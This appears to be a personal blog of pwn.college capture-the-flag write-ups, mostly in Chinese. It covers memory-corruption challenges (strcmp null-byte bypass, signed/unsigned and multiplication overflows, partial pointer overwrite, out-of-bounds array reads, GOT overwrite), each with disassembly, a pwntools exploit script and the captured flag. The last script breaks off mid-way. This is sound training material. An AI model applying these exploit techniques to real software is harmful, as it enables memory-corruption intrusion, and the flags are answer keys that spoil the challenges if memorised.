Hello Navi

Tech, Security & Personal Notes

Login Leakage (Easy)

Leverage memory corruption to satisfy a simple constraint

Analysis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
hacker@program-security~login-leakage-easy:~$ /challenge/login-leakage-easy
The challenge() function has just been launched!
Before we do anything, let's take a look at challenge()'s stack frame:
+---------------------------------+-------------------------+--------------------+
| stack location | Data (bytes) | Data (LE int) |
+---------------------------------+-------------------------+--------------------+
| 0x00007ffca2408530 (RSP+0x0000) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408538 (RSP+0x0008) | 98 98 40 a2 fc 7f 00 00 | 0x00007ffca2409898 |
| 0x00007ffca2408540 (RSP+0x0010) | 88 98 40 a2 fc 7f 00 00 | 0x00007ffca2409888 |
| 0x00007ffca2408548 (RSP+0x0018) | 00 00 00 00 01 00 00 00 | 0x0000000100000000 |
| 0x00007ffca2408550 (RSP+0x0020) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408558 (RSP+0x0028) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408560 (RSP+0x0030) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408568 (RSP+0x0038) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408570 (RSP+0x0040) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408578 (RSP+0x0048) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408580 (RSP+0x0050) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408588 (RSP+0x0058) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408590 (RSP+0x0060) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408598 (RSP+0x0068) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24085a0 (RSP+0x0070) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24085a8 (RSP+0x0078) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24085b0 (RSP+0x0080) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24085b8 (RSP+0x0088) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24085c0 (RSP+0x0090) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24085c8 (RSP+0x0098) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24085d0 (RSP+0x00a0) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24085d8 (RSP+0x00a8) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24085e0 (RSP+0x00b0) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24085e8 (RSP+0x00b8) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24085f0 (RSP+0x00c0) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24085f8 (RSP+0x00c8) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408600 (RSP+0x00d0) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408608 (RSP+0x00d8) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408610 (RSP+0x00e0) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408618 (RSP+0x00e8) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408620 (RSP+0x00f0) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408628 (RSP+0x00f8) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408630 (RSP+0x0100) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408638 (RSP+0x0108) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408640 (RSP+0x0110) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408648 (RSP+0x0118) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408650 (RSP+0x0120) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408658 (RSP+0x0128) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408660 (RSP+0x0130) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408668 (RSP+0x0138) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408670 (RSP+0x0140) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408678 (RSP+0x0148) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408680 (RSP+0x0150) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408688 (RSP+0x0158) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408690 (RSP+0x0160) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408698 (RSP+0x0168) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24086a0 (RSP+0x0170) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24086a8 (RSP+0x0178) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24086b0 (RSP+0x0180) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24086b8 (RSP+0x0188) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24086c0 (RSP+0x0190) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24086c8 (RSP+0x0198) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24086d0 (RSP+0x01a0) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24086d8 (RSP+0x01a8) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24086e0 (RSP+0x01b0) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24086e8 (RSP+0x01b8) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24086f0 (RSP+0x01c0) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24086f8 (RSP+0x01c8) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408700 (RSP+0x01d0) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408708 (RSP+0x01d8) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408710 (RSP+0x01e0) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408718 (RSP+0x01e8) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408720 (RSP+0x01f0) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408728 (RSP+0x01f8) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408730 (RSP+0x0200) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408738 (RSP+0x0208) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408740 (RSP+0x0210) | 00 00 00 00 00 00 25 0c | 0x0c25000000000000 |
| 0x00007ffca2408748 (RSP+0x0218) | d5 3c 61 40 cb d1 00 00 | 0x0000d1cb40613cd5 |
| 0x00007ffca2408750 (RSP+0x0220) | 00 82 64 58 27 60 00 00 | 0x0000602758648200 |
| 0x00007ffca2408758 (RSP+0x0228) | 80 98 40 a2 03 00 00 00 | 0x00000003a2409880 |
| 0x00007ffca2408760 (RSP+0x0230) | 90 97 40 a2 fc 7f 00 00 | 0x00007ffca2409790 |
| 0x00007ffca2408768 (RSP+0x0238) | c0 8c 64 58 27 60 00 00 | 0x0000602758648cc0 |
+---------------------------------+-------------------------+--------------------+
  • Input buffer 起始地址: 0x7ffca2408560
  • Password 起始地址: 0x7ffca2408746
  • Offset: 0x7ffca2408746 - 0x7ffca2408560 = 0x1E6 (486 bytes)

先看距离,再看比较逻辑。ltrace 直接把关键点抖出来了:

1
strcmp("123123\n", "n`\322\232\024\t[,") = -61

程序直接调用标准库里的 strcmp 来比较输入和随机生成的密码。strcmp 比较字符串时,一遇到 null terminator (\x00) 就会停止

既然题目不仅禁用了 canary (stack protector),还允许你输入任意长度的 payload,底层大概率就是 read() 这种可以读入 \x00 的接口,而不是会截断的 scanf。所以这里根本不用猜密码,直接用 null byte injection (空字节注入) 让判断逻辑失效就行。

  1. 如果我们在 input 的第一个字节就写入 \x00strcmp 就会认为我们的输入是一个空字符串 ""
  2. 因为存在 buffer overflow,我们可以一路把 \x00 填充过去,跨越那 486 bytes 的距离,顺便把目标 password 的第一个字节也覆盖成 \x00
  3. 这样一来,passwordstrcmp 眼里也变成了空字符串 ""

strcmp("", "") == 0,密码校验直接 pass。

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/env python3
from pwn import *

p = process('/challenge/login-leakage-easy')

# 486 bytes 的 \x00 用来填满 buffer,同时让 input 变成空字符串 ""
# 第 487 个 byte 的 \x00 用来精准覆盖 password 的第一个字节,让它也变成 ""
payload = b'\x00' * 487

p.sendline(str(len(payload)).encode())
p.sendline(payload)

p.interactive()
pwn.college{wthFhdGjaeJBEazRhx2KFtz8tF5.QXwgzN4EDL4cjM1gzW}

Login Leakage (Hard)

Leverage memory corruption to satisfy a simple constraint

Analysis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
r2 -A -q -c "pdf @ sym.challenge" /challenge/login-leakage-hard
; CALL XREF from main @ 0x16ff(x)
┌ 396: sym.challenge (int64_t arg1, int64_t arg2, int64_t arg3);
│ `- args(RDI, RSI, RDX) vars(7:sp[0xc..0x1e0])
│ 0x000014f2 f30f1efa endbr64
│ 0x000014f6 55 push RBP
│ 0x000014f7 4889e5 mov RBP, RSP
│ 0x000014fa 4881ece001.. sub RSP, 0x1e0
│ 0x00001501 89bd3cfeffff mov dword [var_1c4h], edi ; arg1
│ 0x00001507 4889b530fe.. mov qword [var_1d0h], RSI ; arg2
│ 0x0000150e 48899528fe.. mov qword [var_1d8h], RDX ; arg3
│ 0x00001515 488d9550fe.. lea RDX, [path]
│ 0x0000151c b800000000 mov eax, 0
│ 0x00001521 b933000000 mov ecx, 0x33 ; '3'
│ 0x00001526 4889d7 mov RDI, RDX
│ 0x00001529 f348ab rep stosq qword [RDI], RAX
│ 0x0000152c 4889fa mov RDX, RDI
│ 0x0000152f 668902 mov word [RDX], ax
│ 0x00001532 4883c202 add RDX, 2
│ 0x00001536 be00000000 mov esi, 0 ; int oflag
│ 0x0000153b 488d3dca0b.. lea RDI, str._dev_urandom ; 0x210c ; "/dev/urandom" ; const char *path
│ 0x00001542 b800000000 mov eax, 0
│ 0x00001547 e854fcffff call sym.imp.open ; int open(const char *path, int oflag)
│ 0x0000154c 8945fc mov dword [fildes], eax
│ 0x0000154f 488d8550fe.. lea RAX, [path]
│ 0x00001556 488d889201.. lea RCX, [RAX + 0x192]
│ 0x0000155d 8b45fc mov eax, dword [fildes]
│ 0x00001560 ba08000000 mov edx, 8 ; size_t nbyte
│ 0x00001565 4889ce mov RSI, RCX ; void *buf
│ 0x00001568 89c7 mov edi, eax ; int fildes
│ 0x0000156a e801fcffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
│ 0x0000156f 8b45fc mov eax, dword [fildes]
│ 0x00001572 89c7 mov edi, eax ; int fildes
│ 0x00001574 e8e7fbffff call sym.imp.close ; int close(int fildes)
│ 0x00001579 48c78548fe.. mov qword [nbyte], 0
│ 0x00001584 488d3d8e0b.. lea RDI, str.Payload_size: ; 0x2119 ; "Payload size: " ; const char *format
│ 0x0000158b b800000000 mov eax, 0
│ 0x00001590 e8abfbffff call sym.imp.printf ; int printf(const char *format)
│ 0x00001595 488d8548fe.. lea RAX, [nbyte]
│ 0x0000159c 4889c6 mov RSI, RAX
│ 0x0000159f 488d3d820b.. lea RDI, [0x00002128] ; "%lu" ; const char *format
│ 0x000015a6 b800000000 mov eax, 0
│ 0x000015ab e800fcffff call sym.imp.__isoc99_scanf ; int scanf(const char *format)
│ 0x000015b0 488b8548fe.. mov RAX, qword [nbyte]
│ 0x000015b7 4889c6 mov RSI, RAX
│ 0x000015ba 488d3d6f0b.. lea RDI, str.Send_your_payload__up_to__lu_bytes___n ; 0x2130 ; "Send your payload (up to %lu bytes)!\n" ; const char *format
│ 0x000015c1 b800000000 mov eax, 0
│ 0x000015c6 e875fbffff call sym.imp.printf ; int printf(const char *format)
│ 0x000015cb 488b9548fe.. mov RDX, qword [nbyte] ; size_t nbyte
│ 0x000015d2 488d8550fe.. lea RAX, [path]
│ 0x000015d9 4889c6 mov RSI, RAX ; void *buf
│ 0x000015dc bf00000000 mov edi, 0 ; int fildes
│ 0x000015e1 e88afbffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
│ 0x000015e6 8945f8 mov dword [var_8h], eax
│ 0x000015e9 837df800 cmp dword [var_8h], 0
│ ┌─< 0x000015ed 792c jns 0x161b
│ │ 0x000015ef e81cfbffff call sym.imp.__errno_location
│ │ 0x000015f4 8b00 mov eax, dword [RAX]
│ │ 0x000015f6 89c7 mov edi, eax ; int errnum
│ │ 0x000015f8 e8d3fbffff call sym.imp.strerror ; char *strerror(int errnum)
│ │ 0x000015fd 4889c6 mov RSI, RAX
│ │ 0x00001600 488d3d510b.. lea RDI, str.ERROR:_Failed_to_read_input_____s__n ; 0x2158 ; "ERROR: Failed to read input -- %s!\n" ; const char *format
│ │ 0x00001607 b800000000 mov eax, 0
│ │ 0x0000160c e82ffbffff call sym.imp.printf ; int printf(const char *format)
│ │ 0x00001611 bf01000000 mov edi, 1 ; int status
│ │ 0x00001616 e8a5fbffff call sym.imp.exit ; void exit(int status)
│ │ ; CODE XREF from sym.challenge @ 0x15ed(x)
│ └─> 0x0000161b 488d8550fe.. lea RAX, [path]
│ 0x00001622 488d909201.. lea RDX, [RAX + 0x192]
│ 0x00001629 488d8550fe.. lea RAX, [path]
│ 0x00001630 4889d6 mov RSI, RDX ; const char *s2
│ 0x00001633 4889c7 mov RDI, RAX ; const char *s1
│ 0x00001636 e845fbffff call sym.imp.strcmp ; int strcmp(const char *s1, const char *s2)
│ 0x0000163b 85c0 test eax, eax
│ ┌─< 0x0000163d 7416 je 0x1655
│ │ 0x0000163f 488d3d3a0b.. lea RDI, str.Password_check_failed__Exiting_ ; 0x2180 ; "Password check failed! Exiting!" ; const char *s
│ │ 0x00001646 e8d5faffff call sym.imp.puts ; int puts(const char *s)
│ │ 0x0000164b bf01000000 mov edi, 1 ; int status
│ │ 0x00001650 e86bfbffff call sym.imp.exit ; void exit(int status)
│ │ ; CODE XREF from sym.challenge @ 0x163d(x)
│ └─> 0x00001655 488d3d440b.. lea RDI, str.Password_check_passed_ ; 0x21a0 ; "Password check passed!" ; const char *s
│ 0x0000165c e8bffaffff call sym.imp.puts ; int puts(const char *s)
│ 0x00001661 b800000000 mov eax, 0
│ 0x00001666 e880fdffff call sym.win
│ 0x0000166b 488d3d450b.. lea RDI, str.Goodbye_ ; 0x21b7 ; "Goodbye!" ; const char *s
│ 0x00001672 e8a9faffff call sym.imp.puts ; int puts(const char *s)
│ 0x00001677 b800000000 mov eax, 0
│ 0x0000167c c9 leave
└ 0x0000167d c3 ret

这一题和 Easy 本质一样,还是利用 strcmp 的字符串终止规则,只是需要先从反汇编里把布局自己抠出来。

  1. 随机密码生成逻辑 (0x154f - 0x156a):
    • lea RAX, [path]:加载 path 缓冲区的基地址。
    • lea RCX, [RAX + 0x192]:计算出目标地址 path + 0x192
    • call sym.imp.read:从 /dev/urandom 读取 8 bytes 写入到 path + 0x192
    • 结论:真正的密码存放位置是相对于你输入缓冲区的偏移量 0x192 处。
  2. 输入控制权交接 (0x159f - 0x15ab):
    • 程序用 scanf("%lu") 让你自己输入后续要读取的 Payload size (nbyte)。没有做任何边界检查 (bounds checking),很典型的代码。
  3. buffer overflow 发生地 (0x15d2 - 0x15e1):
    • mov RSI, RAX (其中 RAX 是 path 的地址)
    • call sym.imp.read:从标准输入 (fd=0) 读取你指定长度 (nbyte) 的数据,直接怼进 path 的头部。
  4. 致命的比较 (0x161b - 0x1636):
    • mov RDI, RAX (s1 = path)
    • mov RSI, RDX (s2 = path + 0x192)
    • call sym.imp.strcmp:程序居然又用了 strcmp

利用思路:

  1. 计算偏移:0x192 转换为十进制就是 402 bytes。
  2. 利用不受限制的 read,往缓冲区塞满 \x00
  3. 第 1 个 \x00 会让 path (你的输入) 被 strcmp 视为空字符串 ""
  4. 第 403 个 \x00 会精准覆盖掉 path + 0x192 (随机密码) 的第一个字节,让密码也被视为空字符串 ""

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/env python3
from pwn import *

p = process('/challenge/login-leakage-hard')

# 0x192 = 402 (十进制)
# 我们需要 402 个 \x00 来填充直到密码所在的位置
# 第 403 个 \x00 覆盖密码的第一个字节
offset = 403

payload = b'\x00' * offset

p.sendline(str(offset).encode())
p.sendline(payload)

p.interactive()
pwn.college{EziJep0N4Bnd83ahmJdcZ2XvWHL.QXxgzN4EDL4cjM1gzW}

Bounds Breaker (Easy)

Overflow a buffer and smash the stack to obtain the flag, but this time bypass a check designed to prevent you from doing so!

Analysis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
hacker@program-security~bounds-breaker-easy:~$ /challenge/bounds-breaker-easy
The challenge() function has just been launched!
Before we do anything, let's take a look at challenge()'s stack frame:
+---------------------------------+-------------------------+--------------------+
| stack location | Data (bytes) | Data (LE int) |
+---------------------------------+-------------------------+--------------------+
| 0x00007ffea42aa180 (RSP+0x0000) | 68 0d 00 00 00 00 00 00 | 0x0000000000000d68 |
| 0x00007ffea42aa188 (RSP+0x0008) | 38 b3 2a a4 fe 7f 00 00 | 0x00007ffea42ab338 |
| 0x00007ffea42aa190 (RSP+0x0010) | 28 b3 2a a4 fe 7f 00 00 | 0x00007ffea42ab328 |
| 0x00007ffea42aa198 (RSP+0x0018) | 20 60 40 00 01 00 00 00 | 0x0000000100406020 |
| 0x00007ffea42aa1a0 (RSP+0x0020) | 40 15 f0 00 b4 7c 00 00 | 0x00007cb400f01540 |
| 0x00007ffea42aa1a8 (RSP+0x0028) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffea42aa1b0 (RSP+0x0030) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffea42aa1b8 (RSP+0x0038) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffea42aa1c0 (RSP+0x0040) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffea42aa1c8 (RSP+0x0048) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffea42aa1d0 (RSP+0x0050) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffea42aa1d8 (RSP+0x0058) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffea42aa1e0 (RSP+0x0060) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffea42aa1e8 (RSP+0x0068) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffea42aa1f0 (RSP+0x0070) | 30 b2 2a a4 fe 7f 00 00 | 0x00007ffea42ab230 |
| 0x00007ffea42aa1f8 (RSP+0x0078) | b0 a1 2a a4 fe 7f 00 00 | 0x00007ffea42aa1b0 |
| 0x00007ffea42aa200 (RSP+0x0080) | 30 b2 2a a4 fe 7f 00 00 | 0x00007ffea42ab230 |
| 0x00007ffea42aa208 (RSP+0x0088) | 2a 21 40 00 00 00 00 00 | 0x000000000040212a |
+---------------------------------+-------------------------+--------------------+
Our stack pointer points to 0x7ffea42aa180, and our base pointer points to 0x7ffea42aa200.
The input buffer begins at 0x7ffea42aa1b0.
The return address is stored at 0x7ffea42aa208, 88 bytes after the start of your input buffer.
  • buffer address: 0x7ffea42aa1b0
  • return address: 0x7ffea42aa208
1
2
hacker@program-security~bounds-breaker-easy:~$ nm /challenge/bounds-breaker-easy | grep win
000000000040198c T win

win -> 0x40198c

这里真正要打的不是覆盖本身,而是 signed / unsigned conversion

The standard C library uses unsigned integers for sizes, for example the last argument to read, memcmp, strncpy, and friends. By contrast, the default integer types like short, int, and long are signed.

换句话说,这题的真正切入点是:检查发生在 signed world,危险调用发生在 unsigned world。一旦这两个世界之间发生类型转换,检查就失效了。

安全检查 (bounds check): 程序执行判断 if (size > 63) { exit(); }底层调用: 绕过检查后,程序会调用底层系统调用,比如 read(0, buffer, size)read 的第三个参数类型是 size_t (unsigned)。

当你输入 -1 时,有符号的安全检查会认为 -1 < 63,合法直接放行。但当 -1 被传递给 read() 并被强制类型转换为无符号的 size_t 时,在 Two’s Complement (二进制补码) 的规则下,-1 的内存表示 0xffffffffffffffff 会变成一个极其巨大的正数。

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/env python3
from pwn import *

p = process('/challenge/bounds-breaker-easy')

padding = 0x7ffea42aa208 - 0x7ffea42aa1b0

payload = b'\x90' * padding + p64(0x40198c)

p.sendline(b"-1")
p.send(payload)

p.interactive()
pwn.college{4UZ8-8id5DaJFXvOX8jKVcIscGE.0VN5IDL4cjM1gzW}

Bounds Breaker (Hard)

Analysis

1
2
3
4
5
6
7
8
9
10
11
r2 -A -q -c "pdf @ sym.challenge" /challenge/bounds-breaker-hard
; CALL XREF from main @ 0x402222(x)
┌ 362: sym.challenge (char **arg1, char **arg2, int64_t arg3);
│ `- args(RDI, RSI, RDX) vars(20:sp[0x10..0xb0])
; ...
│ 0x0040208c 488945f8 mov qword [buf], RAX
│ 0x004020c1 e8baf0ffff call sym.imp.__isoc99_scanf ; int scanf(const char *format)
│ 0x004020cc 83f86a cmp eax, 0x6a ; 'j' ; 106
│ ┌─< 0x004020cf 7e16 jle 0x4020e7
; ...
│ 0x00402114 e837f0ffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
  • buf -> RBP - 0x80
  • padding -> 0x80 + 8 = 136
  • win -> 0x00401ef0

Same trick as easy version, using signed -1 to bypass the jle 106 check.

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/env python3
from pwn import *

p = process('/challenge/bounds-breaker-hard')

padding = 136

payload = b'\x90' * padding + p64(0x401ef0)

p.sendline(b"-1")
p.send(payload)

p.interactive()
pwn.college{I8YM8h8FYgC-CWSTAsEzsyV1c6v.0lN5IDL4cjM1gzW}

Casting Catastrophe (Easy)

Overflow a buffer and smash the stack to obtain the flag, but this time bypass another check designed to prevent you from doing so!

Analysis

核心漏洞是 32-bit integer multiplication overflow

The imul eax, edx check uses 32-bit multiplication. If record_num = 42949673 and record_size = 100, then 42949673 * 100 = 4294967300 = 0x100000004. After truncation to 32 bits, the result becomes 0x00000004, which happily passes the <= 119 check.

  • buffer address: 0x7ffcb2c40f30
  • return address: 0x7ffcb2c40fc8
  • padding = 152 bytes

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python3
from pwn import *

context.log_level = 'warning'

binary_path = '/challenge/casting-catastrophe-easy'
exe = ELF(binary_path, checksec=False)

p = process(binary_path)

record_num = b"42949673"
record_size = b"100"

p.sendline(record_num)
p.sendline(record_size)

padding = 152
payload = b'\x90' * padding + p64(exe.sym['win'])

p.send(payload)
p.interactive()
pwn.college{k3b5vnCTtezRHjL8K5QJGkTcHuE.01N5IDL4cjM1gzW}

Casting Catastrophe (Hard)

Analysis

1
2
3
4
r2 -A -q -c "pdf @ sym.challenge" /challenge/casting-catastrophe-hard
# buf -> RAX -> var_30h -> RBP - 0x30
│ 0x00401fec 83f816 cmp eax, 0x16 ; 22
│ ┌─< 0x00401fef 761f jbe 0x402010

Same 32-bit multiplication overflow trick as easy, just with a much smaller buffer. Here the bound is only 22 bytes and buf lives at RBP - 0x30.

  • padding = 0x30 + 8 = 56 bytes

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python3
from pwn import *

context.log_level = "warning"

binary_path = "/challenge/casting-catastrophe-hard"
exe = ELF(binary_path, checksec=False)

p = process(binary_path)

record_num = b"42949673"
record_size = b"100"

p.sendline(record_num)
p.sendline(record_size)

padding = 56
payload = b"\x90" * padding + p64(exe.sym["win"])

p.send(payload)
p.interactive()
pwn.college{44Gjyw7y3rCOCpE8CMg-lX3RMzO.0FO5IDL4cjM1gzW}

Pointer Problems (Easy)

Leverage memory corruption to leak the flag.

Analysis

这题的核心不是 ret2win,而是 partial pointer overwrite

The low bytes of the char* differ between runs because of ASLR, but the higher bytes stay aligned closely enough that a short partial overwrite still works.

  • flag is near BSS 0x5060 (obj.bssdata)
  • need_overwrite = 0x7fff67f0f7b0
  • buffer_address = 0x7fff67f0f760
  • padding = 80 bytes

We overwrite the low 2 bytes of the pointer with 0x5060.

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python3
import itertools
from pwn import *

path = "/challenge/pointer-problems-easy"
offset = 80
payload = b"A" * offset + p16(0x5060)

for count in itertools.count():
p = process(path)
p.sendline(str(offset+2).encode())
p.sendline(payload)
output = p.clean(timeout=2)
if b"pwn.college{" in output:
print(f"[+] Success on Try {count}")
print(output.decode("utf-8", errors="ignore"))
p.close()
break
p.close()
pwn.college{8mxldk5zAFKNhxJWkA9vMtAZPLd.QXygzN4EDL4cjM1gzW}

Pointer Problems (Hard)

Analysis

1
2
3
4
5
hacker@program-security~pointer-problems-hard:~$ r2 -A -q -c "pdf @ sym.challenge" /challenge/pointer-problems-hard
; BSS data address -> 0x4040
│ 0x00001899 488d05a027.. lea RAX, obj.bssdata ; 0x4040
; buf -> RBP - 0x60, string pointer at RBP - 0x10
; padding = 0x60 - 0x10 = 0x50 = 80 bytes

Same trick as easy. We don’t need the full pointer, only the low bytes that redirect the stack string pointer into the flag buffer in .BSS.

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python3
import itertools
from pwn import *

path = "/challenge/pointer-problems-hard"
offset = 80
payload = b"A" * offset + p16(0x4040)

for count in itertools.count():
p = process(path)
p.sendline(str(offset + 2).encode())
p.sendline(payload)
output = p.clean(timeout=2)
if b"pwn.college{" in output:
print(f"[+] Success on Try {count}")
print(output.decode("utf-8", errors="ignore"))
p.close()
break
p.close()
pwn.college{gISXStoHI3uPCfeOHg3yKKOefCg.QXzgzN4EDL4cjM1gzW}

Anomalous Array (Easy)

Leverage an Array to obtain the flag.

Analysis

这题其实是 OOB read,只是包装成“查看数组元素”。数组在栈的高地址,flag 在更低的地址,所以思路是使用 negative index

  • array start: 0x7fffcfc10c98
  • flag address: 0x7fffcfc106d0
  • distance: 0x7fffcfc10c98 - 0x7fffcfc106d0 = 1480 bytes
  • element size: 8 bytes
  • index: 1480 / 8 = 185 -> use -185

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

context.log_level = 'error'
flag = b""

for i in range(-185, -170):
p = process('/challenge/anomalous-array-easy')
p.sendlineafter(b"Which number would you like to view?", str(i).encode())
p.recvuntil(b"Your hacker number is ")
val = p.recvline().strip().decode().zfill(16)
chunk = bytes.fromhex(val)[::-1]
flag += chunk
p.close()
if b"}" in chunk:
break

print(f"\n[+] flag: {flag.decode('utf-8', errors='ignore')}")
pwn.college{0DcG-T7IqYV0QKtiZidy4E-xZUh.QX0gzN4EDL4cjM1gzW}

Anomalous Array (Hard)

Leverage an Array to obtain the flag.

Analysis

Same approach as easy version, using a negative array index to read the flag from memory.

pwn.college{…}

Now You GOT It (Easy)

Leverage an Array to obtain the flag.

Analysis

这题从越界读写切到 GOT overwrite

  • win function: 0x1a72
  • GOT base: 0x5000
  • array base: 0x57c0
  • offset: 0x5000 - 0x57c0 = -0x7c0 (-1984 bytes)
  • index: -1984 / 8 = -248

We overwrite putchar@GOT with the address of win().

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

context.arch = "amd64"
context.log_level = "info"

elf = ELF("/challenge/now-you-got-it-easy")
p = process("/challenge/now-you-got-it-easy")

# Calculate index based on binary layout
# puts_addr - array_addr
index = (elf.got["putchar"] - 0x57C0) // 8

p.recvuntil(b"FREE LEAK: win is located at: ")
win_addr = int(p.recvline().strip(), 16)

p.sendlineafter(b"Which number would you like to view? ", str(index).encode())
